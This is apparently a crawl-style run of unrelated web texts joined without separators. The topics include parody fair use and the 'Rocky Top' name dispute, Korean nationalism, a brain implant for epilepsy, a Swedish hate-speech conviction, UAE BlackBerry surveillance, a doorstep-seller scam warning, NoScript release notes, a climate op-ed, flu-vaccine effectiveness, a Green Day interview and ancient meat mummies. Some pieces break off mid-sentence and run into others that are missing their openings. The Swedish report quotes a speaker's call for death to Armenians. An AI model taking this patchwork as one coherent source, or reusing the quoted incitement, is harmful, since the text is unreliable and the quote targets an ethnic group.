But not so fast. It's clearly a joke, in fact, one might argue that it's clearly a parody and Hall's clearly a politician. Parody is an exception to the copyright law and politicians are usually given a lot of leeway by the courts when using parody in political ads. MasterCard Int'l Inc. v. Nader 2000 Primary Comm., Inc. established that political ads aren't "commercial" in the sense that a politician using someone else's copyrighted material isn't benefiting from the use commercially and it established that politicians could do a really spot-on rip-off of copyrighted material and it fall under the parody fair use exception — in that case Ralph Nader had a political ad based on MasterCard's "Priceless" campaign.
So, it's plausible that Hall's campaign's use of Parker Bros.' intellectual property might also be seen by the courts as "fair use" since it's non-commercial and a parody. (Editor's note: The bad Photoshop job where they clearly scanned and then did a quick cutout of the Mr. Pennybags character is probably the issue here, just sayin'.)
More interesting is the Rocky Top issue. On Tuesday, the State House voted to allow the town of Lake City to change its name to Rocky Top, even though the rightsholders to the song "Rocky Top" are trying to stop them. On the surface, this would seem like a losing proposition for the rightsholders — The House of Bryant — because, in general, titles aren't copyright-able. Think of it this way, even though typing "Man in Black" into Google will get you Johnny Cash and Will Smith & Tommy Lee Jones (which proves that one could be confused for the others), a song title similar or the same as a movie title (or heck, as we saw with the Rock City marches, even other song titles) isn't a copyright issue.
And isn't the name of a town analogous to the title of a song or a book?
But here's where this one gets tricky. According to the Times Free-Press, the developers looking to change the name of Lake City are openly attempting to cash in on confusion:
Last year, a group of East Tennessee public officials and businessmen began promoting the idea of creating a real Rocky Top. The group promised to help build a massive tourist complex in Lake City, a town of about 1,800 people, if it legally changed its name.
Why would there be any interest in a massive tourist complex except because people want to see the place they think the song is written about? These folks are attempting to make money off of the intellectual property of the House of Bryant. They're counting on confusing people into believing this is the place.
The fact that they're attempting to change the name in order to directly monetarily benefit from the town's association with the song leaves a real possibility that the courts might find in favor of the House of Bryant. Otherwise, what's to prevent me from renaming my front yard "Low Places" and then charging tourists to take pictures standing in my front yard so they can tell everyone they have "Friends in Low Places, Tennessee?"
Oh, holy cow, that's my retirement plan! I claim it. If Lake City wins, don't you all be stealing my idea!By Andrei LankovNorth Korea is a deeply nationalistic regime, and its nationalism has deep historical roots. To start with, East Asian communists of the 1920s and 1930s were quite nationalistic. Then, from the 1950s onwards, the North Korean leadership encouraged nationalism as a way to keep some distance from their troublesome patrons in Moscow and Beijing. Finally, with the Communist Bloc crumbling in the early 1990s, Pyongyang’s rulers chose nationalism as the main way to justify their continued reign.One might argue that there is nothing special about this since all countries of East Asia are seriously permeated with ethnic nationalism. Frankly, for a country of such high levels of education and income, South Korea itself is an unusually nationalistic place. South Koreans love to talk about ``minjok” (the nation), often described in terms of race and bloodline, and tend to be quite suspicious of outsiders.But things are changing in the South, slowly but surely. The old Korean nationalism emerged during colonial times in the struggle with the nationalism of Imperial Japan, but, paradoxically, it was based on a mold developed in Japan more than a century ago. Now it is being gradually replaced by a non-ethnic nationalism, with less emphasis on alleged biological unity.The South is gradually becoming a multiethnic society. Nowadays, it has one of the world’s highest ratios of mixed marriages. It is also the home to nearly one million foreign workers.Most of these mixed marriages are between South Korean farmers and women from poorer countries of Southeast Asia. Nonetheless, children from these marriages constitute a significant and growing part of students in South Korea’s school system.However, things have changed little in the North. Its populace may be slowly losing their belief in the greatness of the “juche” idea, but the North seems to remain as an extremely nationalistic place.Ethnic nationalism is one of the reasons why a majority of North Koreans assume that South Koreans dream of unification and would have probably embraced the North had not brutal foreign forces kept them from doing so (yes, the average North Korean seems to still sincerely believe that South Korea is under U.S. military occupation, and this occupation is the major obstacle to unification).It would be just a minor exaggeration to say that the North and South inhabit two different ideological universes. Northerners still live in the ideological equivalent of 1930s Europe, with the emphasis on racial qualities, ethnic purity and eternal unity. Meanwhile, the South is moving towards a much more modern understanding of race, identity and the nation.This is likely to lead to major problems if and when unification happens. Unification is most likely to be not the product of some complex diplomatic process. Like it or not, a repeat of the German scenario seems to be most realistic: The solution will be brought about, first of all, by an explosion of popular discontent about the dictatorial regime in the North, driven to a very large extent by the inflated expectations about unification.Indeed, when the final crisis takes place, North Koreans are likely to assume that all their problems will be miraculously solved by unification. They believe in ethnic solidarity, and they probably expect that their South Korean brethren will be willing to share the immense prosperity of the South with their new found siblings.This is not likely to happen, though. Younger South Koreans are increasingly skeptical about unification. It is quite possible that they will have to accept it anyway, but they are not going to be even remotely as generous as their North Korean brothers think.This is bound to produce a lot of tension in post-unification Korea. It will not help that South Koreans are different. Not only because they are much taller and have better skin but also because they look more Western ― courtesy of the fact that they have acquired many foreign habits ― and their speech is flooded with the notorious ``Konglish.” One can easily imagine how Northerners will react to this. They will despise Southerners for their greed (real or perceived) and at the same time for the cultural corruption that’s occurred. And, of course, the Northerners (at least, some of them) will feel cheated, and will start looking for an identity of their own.I would not be surprised if some version of ethnic nationalism will become the basis for a post-unification identity for North Korea (and there is little doubt that such an identity will emerge). North Koreans may tell themselves that Southerners, whilst richer, sold their national essence in order to achieve their prosperity. Therefore, the reasoning is likely to go thus ``the North should keep itself pure, and guard the national essence from foreign influence.’This is not going to be pretty, but one should remember that almost every aspect of a post-unification future will be difficult for both Koreas. But in the absence of unification, things will be even more troublesome.”Advertisement
Photos: Matt Loeb Brain upgrade: Chelsey Loeb [top, with her parents] hopes her new brain implant will control her epileptic seizures. First, surgeons placed temporary electrodes in Loeb’s brain so doctors could monitor the electrical patterns associated with her seizures over the course of several days [bottom].
Chelsey Loeb says she’s still getting used to her new cyborg life. In November, neurosurgeons implanted a stimulator in her brain to treat her intractable epilepsy, and doctors turned on the device a few weeks later. She can’t feel the electrodes that routinely send pulses of electricity into her left temporal lobe, but she often thinks about her new internal hardware: “It’s like I have an iPod in my head,” she says with a smile. One night, when she heard a mysterious beep in her darkened bedroom, her first thought was, “Did my head just beep?”
It hadn’t. Loeb’s responsive neurostimulator (RNS System), described in the accompanying article, does its work quietly. The device constantly records the electrical activity in specific areas of Loeb’s brain, scans for the signature of an approaching epileptic seizure, and then triggers a burst of stimulation. The idea is to interrupt the abnormal activity before it can spread across her brain and interfere with her movements, mood, memory, and cognition.
The 26-year-old Loeb has been on medication to control her seizures since age 15. (Disclosure: Loeb’s father, Matthew Loeb, was formerly an IEEE staff executive.) Last summer the efficacy of those pills began to decline. Almost every day was interrupted by a seizure, in which she’d seem to zone out, become incoherent, and then regain awareness with no memory of what had occurred. These blank spaces were alarming. For example: What had happened in those few minutes after she started to feel strange at a pharmacy counter and before she came to her senses next to a dumpster in a parking lot? Loeb had to give up her driver’s license, and she took a disability leave from her job as a preschool teacher in Paterson, N.J.
In search of a solution, Loeb came to the epilepsy center at New York University Langone Medical Center. Doctors there recommended the new NeuroPace RNS System, which had been on the market for about a year. Loeb’s case required two surgeries. First, surgeons draped temporary electrodes over the surface of her brain. For five days, she sat in a hospital bed with wires emerging from her head while doctors monitored the electrical patterns in her brain. “I wasn’t allowed to walk around at all,” she says. “I was literally plugged in.” Once the doctors had observed the pattern associated with her seizures, they implanted the neurostimulator in her cranium and guided its electrodes to the spots in her brain where her seizures begin.
Photos: Matt Loeb Head Hardware: Then surgeons implanted the responsive neurostimulator [left], which emits pulses of electricity when it detects signs of a seizure. Once a day Loeb uses a wand [right] to extract device data, which is sent to her medical team.
NYU neurosurgeon Werner Doyle is a pioneer of this technology; Loeb was the 17th patient he outfitted with a commercial neurostimulator. Doyle says the device takes advantage of the brain’s remarkable self-organizing ability. “If you shut the brain down and then turn it on again, which we can do with anesthesia, it reboots itself back to normal,” he says. “That’s what the RNS does, but locally rather than globally.” And if the brain is an operating system, he says, the malfunctioning part of an epileptic brain is an application that freezes. “The RNS reboots the application so you can use it again.”
Loeb has recovered well from the surgery. She’s had a few seizures since the procedure, but most have been minor, lasting just a few seconds and not interfering with her speech or memory. The device continuously records the electrical activity in her brain, and when Loeb feels a seizure, she swipes a magnet past her head to mark that moment in the data stream and flag it for examination. At her checkups, her doctors analyze the data and tweak stimulation parameters. “They’re figuring it out,” Loeb says. “Their goal is to have me be 100 percent seizure-free.”
The doctors’ work won’t just benefit Loeb. As her doctors learn how to better control her seizures with pulses of electricity, they’ll also be learning about the neural circuits that govern the human body. Doyle hopes that every time he implants electrodes into an epilepsy patient’s brain, he’ll get better at integrating the stimulator into the nervous system. “The more this device becomes like the brain, the better it will work,” says Doyle. “That’s the future.”
Read the full article, “Smart Neural Stimulators Listen to the Body.”The Stockholm District Court made a formal judgement on the case of the former Deputy Chairman of the Turkish National Association of Sweden Barbaros Leylani, who made xenophobic, anti-Armenian statements containing clear expressions of incitement to violence, hatred and racial discrimination, website of the regional socio-political newspaper Sydsvenskan» reports.
Besides, the court sentenced Leylani to fine in an amount equal to his 40-day income.
However, it is noted that according to Arshak Gavafyan, Chairman of the Armenian National Committee of Sweden, the decision of the court was too soft.
An anti-Armenian demonstration was organized by the Coordination Center of Azerbaijani Associations in Sweden in the square Sergels, Stockholm, on Saturday, April 9. Over 100 people took part in the demonstration. Representatives of local Azerbaijani and Turkish organizations were among the protesters. The Armenian embassy in Sweden reported in a statement that during the demonstration, the vice chairman of the Coordination Center of Turkish Associations in Sweden, Barbaros Leylani, made a speech
in Turkish coming up with anti-Armenian and nationalistic statements.
“It is time for uniting the Turkish nation. The Turks will wake up putting an end to the Armenian dogs. Death to the Armenian dogs! Death! Death!” – Barbaros Leylani stated.
It was noted that the protesters also shouted “Death to the Armenian dogs, death, death, death!” Leylani’s speeches were widely spread in Sweden, as a result, the reaction of the central media followed. V4, a local TV channel, presented the video during its evening news program.
Swedish MP Fredrik Malm and the chairman of the Coordination Center of Armenian Associations, Karlen Mansuryan, condemned such aggressive statements commenting the demonstration and Leylani’s statements on air.
The website Dagens Nyheter reported that according to Simon Sahakyan, the secretary of the Armenian Academic Association in Sweden, Leylani’s statements reflect the Turkish authorities’ position led by the president Recep Tayyip Erdogan. He reminded the audience of the Armenian Genocide in the Ottoman Turkey and highlighted that this historical fact has already been recognized by many states despite Turkey’s resistance.In which Richard Falkenrath — proud perambulator of the Beltway revolving door and purveyor of advice for state-security police throughout the U.S.[ ] — explains why he, and law enforcement investigators and intelligence officers in the U.S. — admire, and even envy the political environment in the United Arab Emirates, whose oligarchy of petty tyrants and absolute monarchs recently banned BlackBerry mobile phones, because Research in Motion won’t alter their specs to suit the Emirs’ desire to break into BlackBerry customers’ phones and secretly snoop on what they are saying.
Monitoring electronic communications in real time and retrieving stored electronic data are the most important counterterrorism techniques available to governments today. Electronic surveillance is particularly vital in combating global terrorism, where the stakes are highest, but it is a part of virtually all investigations of serious transnational threats…. The United Arab Emirates is in no way unique in wanting a back door into the telecommunications services used inside its borders to allow officials to eavesdrop on users. In the United States, telecommunications providers are generally required to provide a mechanism for such access by the Communications Assistance for Law Enforcement Act of 1994 and related regulations issued by the Federal Communications Commission. … The F.C.C. is not, however, a national security agency: it is an independent, bipartisan commission whose members serve fixed terms. The commission interprets a variety of statutes and balances many different interests, including the business success of telecommunications providers and the convenience of consumers, and its rulings are subject to legal challenge in the courts. As a result, there remain a number of telecommunication methods that federal agencies cannot readily penetrate. Given the way the F.C.C. operates, the prospect of it taking a swift, decisive action to make these services accessible to the government is almost inconceivable. Hence the envy some American intelligence officials felt about the Emirates’ decision. Research in Motion is learning a lesson that other companies have learned before... no provider of information services is exempt from the power of the state.
No doubt.
Anyway, as Jacob Sullum comments on this paean to political will and unconstrained executive power:
Yes, dictators sure are good at avoiding legal barriers to surveillance. They are also never stymied because governmental intrusion into ostensibly private communications offends liberal sensibilities, as Falkenrath dismissively describes civil libertarian concerns about snooping in the name of national security. Here are some other obstacles the UAE avoids, according to the State Department’s most recent report on the country’s human rights record: elections, representative government, an independent judiciary, governmental transparency, freedom of speech, freedom of the press, freedom of assembly, freedom of association, and freedom of religion. The State Department adds that there were unverified reports of torture during the year, that security forces sometimes employed flogging as judicially sanctioned punishment, that arbitrary and incommunicado detention remained a problem, and that legal and societal discrimination against women and noncitizens [who represent 80 percent of the population] was pervasive. Neverthless, says Falkenrath, the Emirates acted understandably and appropriately in banning BlackBerries. The lesson of this episode, according to Falkenrath: Governments should not be timid about using their full powers to ensure that their law enforcement and intelligence agencies are able to keep their citizens safe. Some governments, of course, have fuller powers than others, which makes their citizens (and noncitizen residents) extra safe.
It takes a certain kind of mindset to crow about the will and ability to bulldoze right over many different interests, among them the business success of telecommunications providers, the convenience of consumers, and the possibility of legal challenge in the courts, if any of them threaten to get in the way of secret government, executive power, and the overriding interests of State security — to portray unaccountable tyrannies as if they are acting carefully and responsibly in the interests of their citizens, precisely to the extent they exercise their political tyranny unaccountably to obliterate barriers to surveilling and arresting those very citizens. The mindset is no less tawdry and mean for being so common among the most powerful, influential, and well-connected people on earth. And given that this attitude is as common as it is among law enforcement investigators and intelligence officers, the very last thing that us citizens ought to be feeling is safe.
See also GT 2008-02-15: Tyranny means never having to say you’re sorry on another bit of power=envy directed at the arbitrary and unaccountable ruling class of the U.A.E.Liberal Democrat senator David Leyonhjelm says male high school students being made to stand and take the White Ribbon Day oath while female classmates sit and watch is "public shaming based on gender".
The Libertarian senator said in Question Time on Wednesday that a high school student from Sydney had complained to him about the male students in her public high school being forced to stand and recite the White Ribbon Day oath in front of the female students.
The oath is part of White Ribbon's campaign to encourage men to stand up to domestic violence against women, and consists of two sentences:
I will stand up, speak out and act to prevent men’s violence against women. This is my Oath.
Leyonhjelm described the schoolboys' experience as "public shaming based on gender".
The student told Leyonhjelm the girls were keen to participate but were made to sit and watch by teachers, which made them feel uncomfortable.
Special minister of state Scott Ryan said he wasn't aware of this happening in schools.
"I'm not aware of the claims you've made there, Senator Leyonhjelm," he said.
"White Ribbon Australia encourages men to highlight the role they can play alongside women to stop violence against women.
"I'm not necessarily always in favour of everything that happens in our schools, Senator Leyonhjelm, but I will say though that raising awareness and voluntary participation in such activities is I think important."
Ryan added that it was "not compulsory to participate" in the White Ribbon Day oath.We have received a report of a minibus of males with rucksacks were dropped near Highlands Farm last week to check out the Henley area and to doorstep sell household items. Various incidents have been reported from there to Wootton Manor Estate, Elizabeth Road, and Bolney Road in Lower Shiplake. They call themselves the Nottingham Knockers.
Please warn your neighbours, particularly elderly or vulnerable neighbours, not to open the door to strangers to buy on the doorstep. Some doorstep callers may offer poor quality goods at inflated prices and if a caller is not genuine, they may be gathering information for future crime. Please keep in mind that if cold callers don’t get any sales in your area, they are less likely to return.
How they work
The sellers may say that they are on a “rehabilitation course”arranged by probation services or other organisations trying to find people work. This is not the case and often they are known criminals. Probation services do not run such schemes.
They may show a card which claims to be a “Pedlars Licence” or work permit. This is not valid and they are breaking the law if they are using anything like this.
They may also hand over a card saying they are deaf or dumb.
According to the police, the bag of household products is supplied by someone who employs them (originally a man from Nottingham – hence the name), but now they are recruited from anywhere.
The lads are supplied with a full bag of household products (including the typical tea-towels!) and charged a minimal sum for the contents– it used to be £35. They can keep whatever they make, above this amount.
Usually they are deposited in an area from a transit van and given a list of streets to work. An hour or so later they are picked up and dropped off in another location. They often work from 9am to 9pm.
They will knock on a door, offering cleaning items which they know are cheap and of very poor quality; the householder also knows they are rubbish but that is part of the scam. Many people will
purchase items and pay them something, just to get rid of them. There have been cases of elderly residents handing over large sums as these lads can be very persistent and confrontational.
The price for whatever has been purchased usually comes to a note – usually £10. The householder disappears to get this – this is when the scam begins, according to the police. When the note is handed over, the lad examines the condition and how long it took the person to get it. If it is crumpled, they accept it and move on. If it is crisp flat and new – they are much more interested and may engage the person in more conversation, to obtain details about them. As they leave they will smell the note. If it is slightly musty – this is an indication that there is more in the property. Those addresses are noted. The addresses of elderly/vulnerable/gullible people are all noted.
These are handed to the employer and there is a small amount of cash handed over for each one. These addresses are then sold on. If there is a later break-in, the employer expects a further cut of the proceeds. These lists are purchased by all sorts of people including – tarmacers, tree workers, roofers, dodgy builders etc., and can be shared quite easily. Once on a list, your address could be sold on and on. Hence the repeat nature of these persistent callers.
If they are in your area, please call the police immediately on 101 with a description of them & any associated vehicle they may be using.v 10.1.1 ============================================================= + First pure WebExtension release + CSP-based first-party script script blocking + Active content blocking with DEFAULT, TRUSTED, UNTRUSTED and CUSTOM (per site) presets + Extremely responsive XSS filter leveraging the asynchronous webRequest API + On-the-fly cross-site requests whitelisting
Thanks to the Mozilla WebExtensions team, and especially to Andy, Kris and Luca, for providing the best Browser Extensions API available on any current browser, and most importantly for the awesome tools around it (like the Add-on debugger).
Thanks to the OTF and to all the users who supported and are supporting this effort financially, morally and otherwise.
Coming soon, in the next few weeks: ClearClick, ABE and a public code repository on Github.
Did I say that we've got a chance to reshape the user experience for the best after more than a dozen years of "Classic" NoScript?
Make your craziest ideas rain, please.
Long Live Firefox Quantum, long live NoScript Quantum.
Update
Just gave a cursory look at the comments before getting some hours of sleep:
Temporary allow is still there, one click away, just toggle the clock inside the choosen preset button.
, just toggle the clock inside the choosen preset button. For HTTPS sites the base domain is selected by default with cascading, while for non-secure sites the default match is the full address.
For domain matching you can decide if only secure sites are matched |
would be unlikely for the chief scientific adviser to the British Government to be a crackpot, one whose opinions could be dismissed as frivolous? You would have thought so. And Professor Beddington wasn't alone in the general tenor of his views, was he? No. He was not. Two weeks ago, four CSIRO scientists — while stressing they did not speak for the CSIRO — appeared before the Senate inquiry into carbon emissions. Not only did they say the Australian response was inadequate, one of their number, Dr Michael Raupach, said: "Well, I think that the scientific community as a whole, including every climate scientist that I know in CSIRO, is of the view that first, climate change is a very serious problem, and second, that global strategies at the moment are inadequate." And so, says the voice from a future that has seen Professor Beddington's prediction come true, what did you do? The answer, for most of us, is pretty much nothing.
By now, some readers of this article are screaming: what if Professor Beddington and those like him are wrong? They will be citing scientists supporting their own view and I can't argue with their science any more than I can argue with Professor Beddington's. There'll always be an expert with another view. Does that mean I have no voice at all when (a) I do have a voice and (b) I am no less qualified than many of those already participating vigorously in the debate. What do I know? I know that 25 years ago, when I came to live in Victoria, it sold itself as the Garden State. Look at the garden state now. In December, I went to Lake Bolac in western Victoria, passing a relatively new sign on the edge of town saying "home of aquatic sports" and other relatively new signs telling you where to back your boat in — but there was no water in the lake. I hear voices saying that maybe the lake has been dry before. Maybe it has. But in the past three years, Lake Bolac has also had its highest and lowest temperatures ever recorded there, plus its first tornado, which left wheat silos lying about like crunched-up beer cans.
Driving around Victoria over the past decade, I have seen it getting drier and drier. Then, on February 7, we had the fires. I have had it put to me that the Victorian bushfires of 1851 were worse. Maybe, in some respects, they were, and there are all sorts of reasons for that. But, more saliently, when the bushfire of 1851 occurred, was the top half of Australia inundated with record flooding rains? Were there reports coming in from around the world of corresponding climate abnormalities? This month, we have again had the debate over asylum seekers. To date, it has seemed remarkably like the debate that swept the Howard government to a second term. But if Professor Beddington is correct, if countries such as India and China experience significant shortages of food and water, we could, within a decade, have a world in which hundreds of millions of people are on the move. Current political debate would also suggest that the idea of growth economics is still a political virtue. As a reality, it may already be in the past.
The potential issues now facing us are almost unimaginable in their range and complexity. The political problems are immense. If you accept that the burning of fossil fuels on a massive daily scale is the principal agent of climate change, you are then confronted with the fact that this practice is intertwined with an enormous range of contemporary human activities, ranging from industry to sport, from medicine to housing. That's a lot of people with an interest in the status quo and, in consequence, a lot of political inertia and obfuscation. British law is ultimately based on the notion of the reasonable man. I think a reasonable man would conclude from the data now appearing before him from around the globe that he has serious cause for concern about the environment. Most people, in my experience, now admit that something is "going on" with the weather. Asked if they think dramatic changes are on the way, they say: "Maybe, but not in my lifetime."
But what sort of an attitude is that? I have a granddaughter who will be 21 in 2030. What am I going to give her for her 21st? Only this, perhaps. Before I speak on the climate change, I will remind myself that this is not a media game, that there is a high seriousness to this debate now, that I am — we all are — answerable to the future.Helen Branswell, The Canadian Press
TORONTO -- This year's flu vaccine offers little or no protection in Canada against becoming sick enough to require medical care, a study published Thursday suggests.
The research, based on data from British Columbia, Alberta, Ontario and Quebec, found the vaccine offers most people virtually no protection against the strain that's causing the lion's share of the illness this year, H3N2.
There weren't enough cases of flu caused by H1N1 or influenza B viruses to assess whether the vaccine would have been more protective against them. That may change as the flu season progresses -- it is not uncommon to see late-season surges of influenza B illness. But for now, this year's shot's performance looks pretty dismal.
"I would say overall it's signalling no protection," said lead author Dr. Danuta Skowronski, an influenza expert at the British Columbia Centre for Disease Control.
The study, an interim estimate of this year's flu vaccine effectiveness, was published Thursday in Eurosurveillance, an online journal belonging to the European Centre for Disease Control.
Skowronski said the message people should take from the study is that if they are at high risk of developing pneumonia or getting seriously ill if they contract influenza, they should take other steps to protect their health.
"There's still H3N2 circulating. So probably the most important message to get out now is for high-risk individuals not to count on vaccine to have protected them this season," she said, noting those steps include avoiding people who are ill and going to the doctor to get a prescription for a flu antiviral drug if they become infected.
"Other backup options should come to the fore because the vaccine protection is so disappointing this year."
Health authorities in other jurisdictions have been putting out that message as well. On Thursday, the New York City Health Department issued a health alert notification urging doctors citywide to prescribe influenza antiviral medications to all high-risk or severely ill patients suspected of having the flu.
An interesting finding of the study is that people who did not get a flu shot last year appeared to get more protection from the vaccine this year than people who got shots both years. For those people, the vaccine appeared to offer about 43 per cent protection against developing influenza that required medical help.
There is an emerging school of thought that repeated vaccination in some circumstances may actually undermine the protectiveness of the vaccine. Skowronski said the area needs additional research.
Earlier this month the U.S. Centers for Disease Control published interim vaccine effectiveness data for that country. The flu season south of the border has been very similar to the one in Canada -- almost all caused by H3N2 -- and their early findings suggested the vaccine lowered a recipient's risk of contracting the flu and getting sick enough to need medical care by 23 per cent.
That's well below the 50 to 70 per cent effectiveness estimate that is often cited for flu vaccine.
The Canadian estimate was a negative figure, minus eight per cent. That doesn't mean the vaccine made people who received a flu shot more susceptible to getting the flu. The confidence intervals -- the range within which the true number falls -- went from well below zero to 23 per cent. But because the numbers cross zero, the study did not find a statistically significant benefit of the vaccine.
Skowronski said that in statistical terms, the closer you get to showing that an intervention had no effect, the more people you need in your study to come up with narrow confidence intervals. For instance, to show a one per cent benefit of the vaccine, the researchers would have needed one million people in the study -- an unachievable feat. They actually had nearly 861, which is a good size for an interim analysis of flu vaccine effectiveness.
Still, Dr. John Spika of the Public Health Agency of Canada cautioned against drawing too many distinctions between the U.S. findings and this Canadian study because the confidence intervals are so wide.
"All you can say is 'It's not good,"' said Spika, director general of the agency's centre for immunization and respiratory infectious diseases.
Skowronski said the lower effectiveness in Canada may relate to the fact that here essentially all the H3N2 viruses that have been tested are not a good match for the H3N2 virus included in the flu shot. In the U.S., about one-third of the viruses seen have been a match for the H3N2 component of the vaccine.
As well, the U.S. study included more children. That could influence the results because children are less likely to have had repeated vaccinations and because they are more likely to get the live-virus vaccine FluMist, which generally induces a better response in children than the killed-virus vaccine most Canadian adults receive.
Here is the full statement by the Chief Public Health Officer of Canada on Seasonal Influenza Vaccine Effectiveness, 2014-2015:
The influenza flu vaccine is made up of several strains and it continues to be the best protection against the flu. However, recent studies on the effectiveness of this season’s influenza vaccine have shown the vaccine offers reduced protection against one of the A viruses, which unfortunately, is also the most common or predominant circulating viruses this year.
A Canadian study, Interim estimates of 2014-15 vaccine effectiveness against influenza A(H3N2) from Canada’s Sentinel Physician Surveillance Network, January 2015,has examined the mid-season data on the current flu vaccine’s effectiveness in Canada. It shows a low rate of vaccine effectiveness against the H3N2 virus, this season’s most common flu virus.
In addition, a recent study released by the US Centers for Disease Control and Prevention showed that, in the United States, flu vaccine effectiveness was low as well.
One of the primary differences between the American study and the Canadian study is that approximately half of the participants in the American study were children while the participants in the Canadian study were mostly adults.
The results of these studies are not unexpected. Every year, the World Health Organization makes recommendations for which strains should be included in the seasonal flu shot. As flu viruses move through the population, they can change or drift. The time it takes from the start to the finish of a vaccine production, is sometimes sufficient time for the virus to change, which is what happened this year in particular with H3N2
In addition to getting the flu vaccine, there are other things you can do to fight the flu, such as keeping your hands clean and coughing and sneezing into your arm.
If you get sick, staying home is part of the treatment. If you are elderly and at high-risk of complications or if you are severely ill with the flu, call your health care professional so they can see if you might need early treatment with antiviral drugs to help manage the illness.
I got the flu vaccine this year and I will continue to do so every year. I strongly encourage my friends and family to do the same. And, as Canada’s Chief Public Health Officer, it’s the best advice I can give to all Canadians.
For more information, please visit Fightflu.ca"It's a great life," says bassist Dirnt, right, "We've lived and learned everything through this band."
On the balmy New York evening of April 20, 2010, Green Day's bassist Mike Dirnt was on cloud nine.
He was at the premiere of American Idiot, the Broadway musical inspired by his band's album of the same name.
Hundreds of fans had turned up to get a glimpse of their favourite rock and roll trio, and paparazzi lenses flashed as one-by-one, big names walked the red carpet to catch the premiere.
But there was one particular guest he didn't expect to see.
READ MORE:
* Album review: Green Day's Revolution Radio
* Five Green Day songs to get you pumped for their Auckland show
* Green Day release anti-Trump video
"Somehow he showed up and I thought, are you kidding me? What the f... are you doing here?"
SUPPLIED Rock band Green Day's members, from left, bassist Mike Dirnt, frontman/guitarist Billy Joe Armstrong, and drummer Tres Cool, are heading to New Zealand in May.
The unexpected guest: Donald Trump.
Back then, "everyone just knew him as this rich, weird guy," Dirnt says.
But for a show with themes about blind patriotism and the disillusionment of a generation brought up on an "American Dream" based on wealth and excess, it seemed a curious choice of show for a right-wing tycoon.
IAN GAVAN Billie Joe Armstrong and Mike Dirnt of Green Day first met each other when they were 10 years old.
Trump even tweeted about the show the next day: "Melania and I saw American Idiot on Broadway last night and it was great. An amazing theatrical experience!"
Six years later, Dirnt would find himself waking up in Paris to find out something he didn't think possible. Trump had won the election, and was to be the next President of the United States.
Speaking on the phone from his hotel room in "freezing cold" Oslo last month, Dirnt said he hadn't managed to catch much of Trump's inauguration due time zone differences. But it would have been hard to watch anyway.
IAN GAVAN Green Day on stage at the 2016 MTV Europe Music Awards, where Billy Joe Armstrong (centre) told fans, "It's nice to be out of America just for a second because of this horrendous election that's going on right now. Our entire country is about to have one big collective heart attack."
The band are currently on the world tour for their 12th studio album Revolution Radio, heading to New Zealand for two shows at Vector Arena on May 13 and 14.
The new album is much like any other Green Day effort, packed with punchy, pseudo-political lyrics that aim to tap into the psyche of a troubled western world.
But Dirnt insists the album was not consciously written to coincide with Trump's race to power.
DANNY MOLOSHOK Green Day used their performance at the 2016 American Music Awards to slam Donald Trump. During a rendition of their new song 'Bang Bang', they changed the lyrics to “no Trump, no KKK, no fascist USA!”.
Green Day could be rubbing their hands together over the timeliness of releasing a political album with one of the biggest upsets in American political history. But they're not: "I would trade the emphasis on our record for getting him out of office any day of the week," Dirnt says.
"At the end of the day, we're not going to keep our mouths shut if we see something we don't like."
It is one of the reasons they gave the green light for the controversial lyrical video for Troubled Times.
The clip features images of placards reading "Make America Hate Again", and Ku Klux Klan hoods transforming into Trump's teeth, while his hands grasp at nuclear warheads.
"The artists actually called us and said 'do you mind if we do this?' and we said go ahead, we don't want to step in the way of your creative process, and it turned out phenomenal. I think it's very telling of where we're at right now, it really is a mess in America."
But for Dirnt personally, the political troubles don't compare with challenges he faced at home in 2014 when his wife Brittney, whom he calls one of Green Day's biggest supporters, was diagnosed with breast cancer.
"She's doing great now," he says, "My wife is a pretty strong person, she never said 'oh, poor me'.
"She went through nine months of treatment and we gained gratitude and life perspective from that.
"We learned that sometimes life just happens and you can't always be in control of everything. We learnt none of us are going to be here forever, so let's really appreciate where we're at."
This year, both Dirnt and Green Day frontman Billie Joe Armstrong will celebrate their 45th birthdays, and the 30th anniversary of the band's foundation.
But they met even earlier than that.
"We met in the 5th grade when we were 10-years-old. Billy's school went bankrupt, or something, so his school came over to my school and we were in the same class.
"I remember hanging out in the playground area at lunch and, it's funny, I think the very first conversation we had was about music. He was already playing guitar and I was learning and it was just kind of a natural friendship. I was kind of the class clown so I made him laugh a lot too."
So how have they stayed together for so long when other bands not only break up, but seem to end up loathing each other?
"Well, I think the common theme with me, Billy, and [drummer] Tre Cool is that this band is the greatest thing we're ever going to do, so to not keep doing it would be foolish.
"And, you know, it's a great life, we've lived and learned everything through this band."
When it comes to the future of America, Dirnt says he isn't exactly optimistic, but hopeful.
"I think America's been duped by somebody who put themselves out there to be the second coming.
"We're just as confused as everybody else, but I think people need to stay vigilant and not give up on the things that are important to them.
"I'm hopeful people will come together, I've seen it with all the protests and everything else that's going on, but it's really kind of ambiguous times right now."
Tickets to Green Day's May 14 concert at Vector Arena are still available at Ticketmaster.co.nz.Mmm, ribs. This rack of beef was mummified and placed in the tomb of Egyptian noblewoman Tjuiu and her courtier Yuya, dating to between 1386 B.C. and 1349 B.C.
Care for some ribs? The royal mummies of ancient Egypt apparently did, as a new study finds that "meat mummies" left in Egyptian tombs as sustenance for the afterlife were treated with elaborate balms to preserve them.
Mummified cuts of meat are common finds in ancient Egyptian burials, with the oldest dating back to at least 3300 B.C. The tradition extended into the latest periods of mummification in the fourth century A.D. The famous pharaoh King Tutankhamun went to his final resting place accompanied by 48 cases of beef and poultry.
But meat mummies have been mostly unstudied until now. University of Bristol biogeochemist Richard Evershed and his colleagues were curious about how these cuts were prepared. They also wondered if the mummification methods for meat differed from how Egyptians mummified people or pets.
The team analyzed four samples from meat mummies archived at the Cairo and British museums. The oldest was a rack of cattle ribs from the tomb of Tjuiu, an Egyptian noblewoman, and her courtier Yuya. The beef dates back to between 1386 B.C. and 1349 B.C. [Gallery: Scanning Mummies for Heart Disease]
The second sample dated to between 1064 B.C. and 948 B.C. and consisted of meat from a calf found in the tomb of Isetemkheb D, a sister and wife to a high priest in Thebes. The final two samples were from the tomb of a Theban priestess, Henutmehyt, who died around 1290 B.C. One of the meat mummies found in Henutmehyt's tomb was duck, and the other was probably goat.
The researchers conducted a chemical analysis of the bandages or the meat itself in all four samples. They found that animal fat coated the bandages of the calf and goat mummies; in the case of the calf, the fat was on bandages not in contact with the meat, suggesting it had been smeared on as a preservative rather than seeping through as grease.
